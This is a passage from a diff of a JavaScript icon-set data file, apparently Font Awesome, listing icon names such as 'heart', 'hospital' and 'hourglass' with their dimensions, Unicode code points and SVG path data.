79.557 0 0 1 30.777 6.165L462.25 85.374A48.003 48.003 0 0 0 422.311 64H153.689a48 48 0 0 0-39.938 21.374L17.223 230.165A79.557 79.557 0 0 1 48 224h480zm-48 96c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm-96 0c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32z" ], + "head-side-cough": [ 640, 512, [], "e061", "M616,304a24,24,0,1,0-24-24A24,24,0,0,0,616,304ZM552,416a24,24,0,1,0,24,24A24,24,0,0,0,552,416Zm-64-56a24,24,0,1,0,24,24A24,24,0,0,0,488,360ZM616,464a24,24,0,1,0,24,24A24,24,0,0,0,616,464Zm0-104a24,24,0,1,0,24,24A24,24,0,0,0,616,360Zm-64-40a24,24,0,1,0,24,24A24,24,0,0,0,552,320Zm-74.78-45c-21-47.12-48.5-151.75-73.12-186.75A208.13,208.13,0,0,0,234.1,0H192C86,0,0,86,0,192c0,56.75,24.75,107.62,64,142.88V512H288V480h64a64,64,0,0,0,64-64H320a32,32,0,0,1,0-64h96V320h32A32,32,0,0,0,477.22,275ZM288,224a32,32,0,1,1,32-32A32.07,32.07,0,0,1,288,224Z" ], + "head-side-cough-slash": [ 640, 512, [], "e062", "M454.11,319.21c19.56-3.81,31.62-25,23.11-44.21-21-47.12-48.5-151.75-73.12-186.75A208.13,208.13,0,0,0,234.1,0H192A190.64,190.64,0,0,0,84.18,33.3L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45ZM313.39,210.45,263.61,172c5.88-7.14,14.43-12,24.36-12a32.06,32.06,0,0,1,32,32C320,199,317.24,205.17,313.39,210.45ZM616,304a24,24,0,1,0-24-24A24,24,0,0,0,616,304Zm-64,64a24,24,0,1,0-24-24A24,24,0,0,0,552,368ZM288,384a32,32,0,0,1,32-32h19.54L20.73,105.59A190.86,190.86,0,0,0,0,192c0,56.75,24.75,107.62,64,142.88V512H288V480h64a64,64,0,0,0,64-64H320A32,32,0,0,1,288,384Zm328-24a24,24,0,1,0,24,24A24,24,0,0,0,616,360Z" ], + "head-side-mask": [ 512, 512, [], "e063", "M.15,184.42C-2.17,244.21,23,298.06,64,334.88V512H224V316.51L3.67,156.25A182.28,182.28,0,0,0,.15,184.42ZM509.22,275c-21-47.12-48.5-151.75-73.12-186.75A208.11,208.11,0,0,0,266.11,0H200C117,0,42.48,50.57,13.25,123.65L239.21,288H511.76A31.35,31.35,0,0,0,509.22,275ZM320,224a32,32,0,1,1,32-32A32.07,32.07,0,0,1,320,224Zm16,144H496l16-48H256V512H401.88a64,64,0,0,0,60.71-43.76L464,464H336a16,16,0,0,1,0-32H474.67l10.67-32H336a16,16,0,0,1,0-32Z" ], + "head-side-virus": [ 512, 512, [], "e064", "M272,240a16,16,0,1,0,16,16A16,16,0,0,0,272,240Zm-64-64a16,16,0,1,0,16,16A16,16,0,0,0,208,176Zm301.2,99c-20.93-47.12-48.43-151.73-73.07-186.75A207.9,207.9,0,0,0,266.09,0H192C86,0,0,86,0,192A191.23,191.23,0,0,0,64,334.81V512H320V448h64a64,64,0,0,0,64-64V320H480A32,32,0,0,0,509.2,275ZM368,240H355.88c-28.51,0-42.79,34.47-22.63,54.63l8.58,8.57a16,16,0,1,1-22.63,22.63l-8.57-8.58C290.47,297.09,256,311.37,256,339.88V352a16,16,0,0,1-32,0V339.88c0-28.51-34.47-42.79-54.63-22.63l-8.57,8.58a16,16,0,0,1-22.63-22.63l8.58-8.57c20.16-20.16,5.88-54.63-22.63-54.63H112a16,16,0,0,1,0-32h12.12c28.51,0,42.79-34.47,22.63-54.63l-8.58-8.57a16,16,0,0,1,22.63-22.63l8.57,8.58c20.16,20.16,54.63,5.88,54.63-22.63V96a16,16,0,0,1,32,0v12.12c0,28.51,34.47,42.79,54.63,22.63l8.57-8.58a16,16,0,0,1,22.63,22.63l-8.58,8.57C313.09,173.53,327.37,208,355.88,208H368a16,16,0,0,1,0,32Z" ], + heading: [ 512, 512, [], "f1dc", "M448 96v320h32a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H320a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32V288H160v128h32a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32V96H32a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h160a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16h-32v128h192V96h-32a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h160a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16z" ], + headphones: [ 512, 512, [], "f025", "M256 32C114.52 32 0 146.496 0 288v48a32 32 0 0 0 17.689 28.622l14.383 7.191C34.083 431.903 83.421 480 144 480h24c13.255 0 24-10.745 24-24V280c0-13.255-10.745-24-24-24h-24c-31.342 0-59.671 12.879-80 33.627V288c0-105.869 86.131-192 192-192s192 86.131 192 192v1.627C427.671 268.879 399.342 256 368 256h-24c-13.255 0-24 10.745-24 24v176c0 13.255 10.745 24 24 24h24c60.579 0 109.917-48.098 111.928-108.187l14.382-7.191A32 32 0 0 0 512 336v-48c0-141.479-114.496-256-256-256z" ], + "headphones-alt": [ 512, 512, [], "f58f", "M160 288h-16c-35.35 0-64 28.7-64 64.12v63.76c0 35.41 28.65 64.12 64 64.12h16c17.67 0 32-14.36 32-32.06V320.06c0-17.71-14.33-32.06-32-32.06zm208 0h-16c-17.67 0-32 14.35-32 32.06v127.88c0 17.7 14.33 32.06 32 32.06h16c35.35 0 64-28.71 64-64.12v-63.76c0-35.41-28.65-64.12-64-64.12zM256 32C112.91 32 4.57 151.13 0 288v112c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V288c0-114.67 93.33-207.8 208-207.82 114.67.02 208 93.15 208 207.82v112c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V288C507.43 151.13 399.09 32 256 32z" ], + headset: [ 512, 512, [], "f590", "M192 208c0-17.67-14.33-32-32-32h-16c-35.35 0-64 28.65-64 64v48c0 35.35 28.65 64 64 64h16c17.67 0 32-14.33 32-32V208zm176 144c35.35 0 64-28.65 64-64v-48c0-35.35-28.65-64-64-64h-16c-17.67 0-32 14.33-32 32v112c0 17.67 14.33 32 32 32h16zM256 0C113.18 0 4.58 118.83 0 256v16c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-16c0-114.69 93.31-208 208-208s208 93.31 208 208h-.12c.08 2.43.12 165.72.12 165.72 0 23.35-18.93 42.28-42.28 42.28H320c0-26.51-21.49-48-48-48h-32c-26.51 0-48 21.49-48 48s21.49 48 48 48h181.72c49.86 0 90.28-40.42 90.28-90.28V256C507.42 118.83 398.82 0 256 0z" ], + heart: [ 512, 512, [], "f004", "M462.3 62.6C407.5 15.9 326 24.3 275.7 76.2L256 96.5l-19.7-20.3C186.1 24.3 104.5 15.9 49.7 62.6c-62.8 53.6-66.1 149.8-9.9 207.9l193.5 199.8c12.5 12.9 32.8 12.9 45.3 0l193.5-199.8c56.3-58.1 53-154.3-9.8-207.9z" ], + "heart-broken": [ 512, 512, [], "f7a9", "M473.7 73.8l-2.4-2.5c-46-47-118-51.7-169.6-14.8L336 159.9l-96 64 48 128-144-144 96-64-28.6-86.5C159.7 19.6 87 24 40.7 71.4l-2.4 2.4C-10.4 123.6-12.5 202.9 31 256l212.1 218.6c7.1 7.3 18.6 7.3 25.7 0L481 255.9c43.5-53 41.4-132.3-7.3-182.1z" ], + heartbeat: [ 512, 512, [], "f21e", "M320.2 243.8l-49.7 99.4c-6 12.1-23.4 11.7-28.9-.6l-56.9-126.3-30 71.7H60.6l182.5 186.5c7.1 7.3 18.6 7.3 25.7 0L451.4 288H342.3l-22.1-44.2zM473.7 73.9l-2.4-2.5c-51.5-52.6-135.8-52.6-187.4 0L256 100l-27.9-28.5c-51.5-52.7-135.9-52.7-187.4 0l-2.4 2.4C-10.4 123.7-12.5 203 31 256h102.4l35.9-86.2c5.4-12.9 23.6-13.2 29.4-.4l58.2 129.3 49-97.9c5.9-11.8 22.7-11.8 28.6 0l27.6 55.2H481c43.5-53 41.4-132.3-7.3-182.1z" ], + helicopter: [ 640, 512, [], "f533", "M304 384h272c17.67 0 32-14.33 32-32 0-123.71-100.29-224-224-224V64h176c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16H144c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h176v64H112L68.8 70.4C65.78 66.37 61.03 64 56 64H16.01C5.6 64-2.04 73.78.49 83.88L32 192l160 64 86.4 115.2A31.992 31.992 0 0 0 304 384zm112-188.49C478.55 208.3 528.03 257.44 540.79 320H416V195.51zm219.37 263.3l-22.15-22.2c-6.25-6.26-16.24-6.1-22.64.01-7.09 6.77-13.84 11.25-24.64 11.25H240c-8.84 0-16 7.18-16 16.03v32.06c0 8.85 7.16 16.03 16 16.03h325.94c14.88 0 35.3-.47 68.45-29.52 7.02-6.14 7.57-17.05.98-23.66z" ], + highlighter: [ 544, 512, [], "f591", "M0 479.98L99.92 512l35.45-35.45-67.04-67.04L0 479.98zm124.61-240.01a36.592 36.592 0 0 0-10.79 38.1l13.05 42.83-50.93 50.94 96.23 96.23 50.86-50.86 42.74 13.08c13.73 4.2 28.65-.01 38.15-10.78l35.55-41.64-173.34-173.34-41.52 35.44zm403.31-160.7l-63.2-63.2c-20.49-20.49-53.38-21.52-75.12-2.35L190.55 183.68l169.77 169.78L530.27 154.4c19.18-21.74 18.15-54.63-2.35-75.13z" ], + hiking: [ 384, 512, [], "f6ec", "M80.95 472.23c-4.28 17.16 6.14 34.53 23.28 38.81 2.61.66 5.22.95 7.8.95 14.33 0 27.37-9.7 31.02-24.23l25.24-100.97-52.78-52.78-34.56 138.22zm14.89-196.12L137 117c2.19-8.42-3.14-16.95-11.92-19.06-43.88-10.52-88.35 15.07-99.32 57.17L.49 253.24c-2.19 8.42 3.14 16.95 11.92 19.06l63.56 15.25c8.79 2.1 17.68-3.02 19.87-11.44zM368 160h-16c-8.84 0-16 7.16-16 16v16h-34.75l-46.78-46.78C243.38 134.11 228.61 128 212.91 128c-27.02 0-50.47 18.3-57.03 44.52l-26.92 107.72a32.012 32.012 0 0 0 8.42 30.39L224 397.25V480c0 17.67 14.33 32 32 32s32-14.33 32-32v-82.75c0-17.09-6.66-33.16-18.75-45.25l-46.82-46.82c.15-.5.49-.89.62-1.41l19.89-79.57 22.43 22.43c6 6 14.14 9.38 22.62 9.38h48v240c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V176c.01-8.84-7.15-16-15.99-16zM240 96c26.51 0 48-21.49 48-48S266.51 0 240 0s-48 21.49-48 48 21.49 48 48 48z" ], + hippo: [ 640, 512, [], "f6ed", "M581.12 96.2c-27.67-.15-52.5 17.58-76.6 26.62C489.98 88.27 455.83 64 416 64c-11.28 0-21.95 2.3-32 5.88V56c0-13.26-10.75-24-24-24h-16c-13.25 0-24 10.74-24 24v48.98C286.01 79.58 241.24 64 192 64 85.96 64 0 135.64 0 224v240c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16v-70.79C128.35 407.57 166.72 416 208 416s79.65-8.43 112-22.79V464c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16V288h128v32c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-32c17.67 0 32-14.33 32-32v-92.02c0-34.09-24.79-67.59-58.88-67.78zM448 176c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z" ], + history: [ 512, 512, [], "f1da", "M504 255.531c.253 136.64-111.18 248.372-247.82 248.468-59.015.042-113.223-20.53-155.822-54.911-11.077-8.94-11.905-25.541-1.839-35.607l11.267-11.267c8.609-8.609 22.353-9.551 31.891-1.984C173.062 425.135 212.781 440 256 440c101.705 0 184-82.311 184-184 0-101.705-82.311-184-184-184-48.814 0-93.149 18.969-126.068 49.932l50.754 50.754c10.08 10.08 2.941 27.314-11.313 27.314H24c-8.837 0-16-7.163-16-16V38.627c0-14.254 17.234-21.393 27.314-11.314l49.372 49.372C129.209 34.136 189.552 8 256 8c136.81 0 247.747 110.78 248 247.531zm-180.912 78.784l9.823-12.63c8.138-10.463 6.253-25.542-4.21-33.679L288 256.349V152c0-13.255-10.745-24-24-24h-16c-13.255 0-24 10.745-24 24v135.651l65.409 50.874c10.463 8.137 25.541 6.253 33.679-4.21z" ], + "hockey-puck": [ 512, 512, [], "f453", "M0 160c0-53 114.6-96 256-96s256 43 256 96-114.6 96-256 96S0 213 0 160zm0 82.2V352c0 53 114.6 96 256 96s256-43 256-96V242.2c-113.4 82.3-398.5 82.4-512 0z" ], + "holly-berry": [ 448, 512, [], "f7aa", "M144 192c26.5 0 48-21.5 48-48s-21.5-48-48-48-48 21.5-48 48 21.5 48 48 48zm112-48c0 26.5 21.5 48 48 48s48-21.5 48-48-21.5-48-48-48-48 21.5-48 48zm-32-48c26.5 0 48-21.5 48-48S250.5 0 224 0s-48 21.5-48 48 21.5 48 48 48zm-16.2 139.1c.1-12.4-13.1-20.1-23.8-13.7-34.3 20.3-71.4 32.7-108.7 36.2-9.7.9-15.6 11.3-11.6 20.2 6.2 13.9 11.1 28.6 14.7 43.8 3.6 15.2-5.3 30.6-20.2 35.1-14.9 4.5-30.1 7.6-45.3 9.1-9.7 1-15.7 11.3-11.7 20.2 15 32.8 22.9 69.5 23 107.7.1 14.4 15.2 23.1 27.6 16 33.2-19 68.9-30.5 104.8-33.9 9.7-.9 15.6-11.3 11.6-20.2-6.2-13.9-11.1-28.6-14.7-43.8-3.6-15.2 5.3-30.6 20.2-35.1 14.9-4.5 30.1-7.6 45.3-9.1 9.7-1 15.7-11.3 11.7-20.2-15.5-34.2-23.3-72.5-22.9-112.3zM435 365.6c-15.2-1.6-30.3-4.7-45.3-9.1-14.9-4.5-23.8-19.9-20.2-35.1 3.6-15.2 8.5-29.8 14.7-43.8 4-8.9-1.9-19.3-11.6-20.2-37.3-3.5-74.4-15.9-108.7-36.2-10.7-6.3-23.9 1.4-23.8 13.7 0 1.6-.2 3.2-.2 4.9.2 33.3 7 65.7 19.9 94 5.7 12.4 5.2 26.6-.6 38.9 4.9 1.2 9.9 2.2 14.8 3.7 14.9 4.5 23.8 19.9 20.2 35.1-3.6 15.2-8.5 29.8-14.7 43.8-4 8.9 1.9 19.3 11.6 20.2 35.9 3.4 71.6 14.9 104.8 33.9 12.5 7.1 27.6-1.6 27.6-16 .2-38.2 8-75 23-107.7 4.3-8.7-1.8-19.1-11.5-20.1z" ], + home: [ 576, 512, [], "f015", "M280.37 148.26L96 300.11V464a16 16 0 0 0 16 16l112.06-.29a16 16 0 0 0 15.92-16V368a16 16 0 0 1 16-16h64a16 16 0 0 1 16 16v95.64a16 16 0 0 0 16 16.05L464 480a16 16 0 0 0 16-16V300L295.67 148.26a12.19 12.19 0 0 0-15.3 0zM571.6 251.47L488 182.56V44.05a12 12 0 0 0-12-12h-56a12 12 0 0 0-12 12v72.61L318.47 43a48 48 0 0 0-61 0L4.34 251.47a12 12 0 0 0-1.6 16.9l25.5 31A12 12 0 0 0 45.15 301l235.22-193.74a12.19 12.19 0 0 1 15.3 0L530.9 301a12 12 0 0 0 16.9-1.6l25.5-31a12 12 0 0 0-1.7-16.93z" ], + horse: [ 576, 512, [], "f6f0", "M575.92 76.6c-.01-8.13-3.02-15.87-8.58-21.8-3.78-4.03-8.58-9.12-13.69-14.5 11.06-6.84 19.5-17.49 22.18-30.66C576.85 4.68 572.96 0 567.9 0H447.92c-70.69 0-128 57.31-128 128H160c-28.84 0-54.4 12.98-72 33.11V160c-48.53 0-88 39.47-88 88v56c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-56c0-13.22 6.87-24.39 16.78-31.68-.21 2.58-.78 5.05-.78 7.68 0 27.64 11.84 52.36 30.54 69.88l-25.72 68.6a63.945 63.945 0 0 0-2.16 37.99l24.85 99.41A15.982 15.982 0 0 0 107.02 512h65.96c10.41 0 18.05-9.78 15.52-19.88l-26.31-105.26 23.84-63.59L320 345.6V496c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16V318.22c19.74-20.19 32-47.75 32-78.22 0-.22-.07-.42-.08-.64V136.89l16 7.11 18.9 37.7c7.45 14.87 25.05 21.55 40.49 15.37l32.55-13.02a31.997 31.997 0 0 0 20.12-29.74l-.06-77.71zm-64 19.4c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z" ], + "horse-head": [ 512, 512, [], "f7ab", "M509.8 332.5l-69.9-164.3c-14.9-41.2-50.4-71-93-79.2 18-10.6 46.3-35.9 34.2-82.3-1.3-5-7.1-7.9-12-6.1L166.9 76.3C35.9 123.4 0 238.9 0 398.8V480c0 17.7 14.3 32 32 32h236.2c23.8 0 39.3-25 28.6-46.3L256 384v-.7c-45.6-3.5-84.6-30.7-104.3-69.6-1.6-3.1-.9-6.9 1.6-9.3l12.1-12.1c3.9-3.9 10.6-2.7 12.9 2.4 14.8 33.7 48.2 57.4 87.4 57.4 17.2 0 33-5.1 46.8-13.2l46 63.9c6 8.4 15.7 13.3 26 13.3h50.3c8.5 0 16.6-3.4 22.6-9.4l45.3-39.8c8.9-9.1 11.7-22.6 7.1-34.4zM328 224c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24z" ], + hospital: [ 448, 512, [], "f0f8", "M448 492v20H0v-20c0-6.627 5.373-12 12-12h20V120c0-13.255 10.745-24 24-24h88V24c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v72h88c13.255 0 24 10.745 24 24v360h20c6.627 0 12 5.373 12 12zM308 192h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zm-168 64h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm104 128h-40c-6.627 0-12 5.373-12 12v84h64v-84c0-6.627-5.373-12-12-12zm64-96h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zm-116 12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40zM182 96h26v26a6 6 0 0 0 6 6h20a6 6 0 0 0 6-6V96h26a6 6 0 0 0 6-6V70a6 6 0 0 0-6-6h-26V38a6 6 0 0 0-6-6h-20a6 6 0 0 0-6 6v26h-26a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6z" ], + "hospital-alt": [ 576, 512, [], "f47d", "M544 96H416V32c0-17.7-14.3-32-32-32H192c-17.7 0-32 14.3-32 32v64H32c-17.7 0-32 14.3-32 32v368c0 8.8 7.2 16 16 16h544c8.8 0 16-7.2 16-16V128c0-17.7-14.3-32-32-32zM160 436c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm160 128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm16-170c0 3.3-2.7 6-6 6h-26v26c0 3.3-2.7 6-6 6h-20c-3.3 0-6-2.7-6-6v-26h-26c-3.3 0-6-2.7-6-6v-20c0-3.3 2.7-6 6-6h26V86c0-3.3 2.7-6 6-6h20c3.3 0 6 2.7 6 6v26h26c3.3 0 6 2.7 6 6v20zm144 298c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40z" ], + "hospital-symbol": [ 512, 512, [], "f47e", "M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256 256-114.6 256-256S397.4 0 256 0zm112 376c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-88h-96v88c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8V136c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v88h96v-88c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v240z" ], + "hospital-user": [ 640, 512, [], "f80d", "M480 320a96 96 0 1 0-96-96 96 96 0 0 0 96 96zm48 32a22.88 22.88 0 0 0-7.06 1.09 124.76 124.76 0 0 1-81.89 0A22.82 22.82 0 0 0 432 352a112 112 0 0 0-112 112.62c.14 26.26 21.73 47.38 48 47.38h224c26.27 0 47.86-21.12 48-47.38A112 112 0 0 0 528 352zm-198.09 10.45A145.19 145.19 0 0 1 352 344.62V128a32 32 0 0 0-32-32h-32V32a32 32 0 0 0-32-32H96a32 32 0 0 0-32 32v64H32a32 32 0 0 0-32 32v368a16 16 0 0 0 16 16h288.31A78.62 78.62 0 0 1 288 464.79a143.06 143.06 0 0 1 41.91-102.34zM144 404a12 12 0 0 1-12 12H92a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm0-128a12 12 0 0 1-12 12H92a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm48-122a6 6 0 0 1-6 6h-20a6 6 0 0 1-6-6v-26h-26a6 6 0 0 1-6-6v-20a6 6 0 0 1 6-6h26V70a6 6 0 0 1 6-6h20a6 6 0 0 1 6 6v26h26a6 6 0 0 1 6 6v20a6 6 0 0 1-6 6h-26zm80 250a12 12 0 0 1-12 12h-40a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm0-128a12 12 0 0 1-12 12h-40a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12z" ], + "hot-tub": [ 512, 512, [], "f593", "M414.21 177.65c1.02 8.21 7.75 14.35 15.75 14.35h16.12c9.51 0 17.08-8.57 16-18.35-4.34-39.11-22.4-74.53-50.13-97.16-17.37-14.17-28.82-36.75-31.98-62.15C378.96 6.14 372.22 0 364.23 0h-16.12c-9.51 0-17.09 8.57-16 18.35 4.34 39.11 22.4 74.53 50.13 97.16 17.36 14.17 28.82 36.75 31.97 62.14zm-108 0c1.02 8.21 7.75 14.35 15.75 14.35h16.12c9.51 0 17.08-8.57 16-18.35-4.34-39.11-22.4-74.53-50.13-97.16-17.37-14.17-28.82-36.75-31.98-62.15C270.96 6.14 264.22 0 256.23 0h-16.12c-9.51 0-17.09 8.57-16 18.35 4.34 39.11 22.4 74.53 50.13 97.16 17.36 14.17 28.82 36.75 31.97 62.14zM480 256H256l-110.93-83.2a63.99 63.99 0 0 0-38.4-12.8H64c-35.35 0-64 28.65-64 64v224c0 35.35 28.65 64 64 64h384c35.35 0 64-28.65 64-64V288c0-17.67-14.33-32-32-32zM128 440c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zM64 128c35.35 0 64-28.65 64-64S99.35 0 64 0 0 28.65 0 64s28.65 64 64 64z" ], + hotdog: [ 512, 512, [], "f80f", "M488.56 23.44a80 80 0 0 0-113.12 0l-352 352a80 80 0 1 0 113.12 113.12l352-352a80 80 0 0 0 0-113.12zm-49.93 95.19c-19.6 19.59-37.52 22.67-51.93 25.14C373.76 146 364.4 147.6 352 160s-14 21.76-16.23 34.71c-2.48 14.4-5.55 32.33-25.15 51.92s-37.52 22.67-51.92 25.15C245.75 274 236.4 275.6 224 288s-14 21.75-16.23 34.7c-2.47 14.4-5.54 32.33-25.14 51.92s-37.53 22.68-51.93 25.15C117.76 402 108.4 403.6 96 416a16 16 0 0 1-22.63-22.63c19.6-19.59 37.52-22.67 51.92-25.14 13-2.22 22.3-3.82 34.71-16.23s14-21.75 16.22-34.7c2.48-14.4 5.55-32.33 25.15-51.92s37.52-22.67 51.92-25.14c13-2.22 22.3-3.83 34.7-16.23s14-21.76 16.24-34.71c2.47-14.4 5.54-32.33 25.14-51.92s37.52-22.68 51.92-25.15C394.24 110 403.59 108.41 416 96a16 16 0 0 1 22.63 22.63zM31.44 322.18L322.18 31.44l-11.54-11.55c-25-25-63.85-26.66-86.79-3.72L16.17 223.85c-22.94 22.94-21.27 61.79 3.72 86.78zm449.12-132.36L189.82 480.56l11.54 11.55c25 25 63.85 26.66 86.79 3.72l207.68-207.68c22.94-22.94 21.27-61.79-3.72-86.79z" ], + hotel: [ 576, 512, [], "f594", "M560 64c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h15.98v384H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h240v-80c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v80h240c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-16V64h16zm-304 44.8c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zm0 96c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zm-128-96c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zM179.2 256h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8zM192 384c0-53.02 42.98-96 96-96s96 42.98 96 96H192zm256-140.8c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-96c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4z" ], + hourglass: [ 384, 512, [], "f254", "M360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64z" ], + "hourglass-end": [ 384, 512, [], "f253", "M360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64zM192 208c-57.787 0-104-66.518-104-144h208c0 77.945-46.51 144-104 144z" ], + "hourglass-half": [ 384, 512, [], "f252", "M360 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24zm-75.078 384H99.08c17.059-46.797 52.096-80 92.92-80 40.821 0 75.862 33.196 92.922 80zm.019-256H99.078C91.988 108.548 88 86.748 88 64h208c0 22.805-3.987 44.587-11.059 64z" ], + "hourglass-start": [ 384, 512, [], "f251", "M360 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64c13.255 0 24-10.745 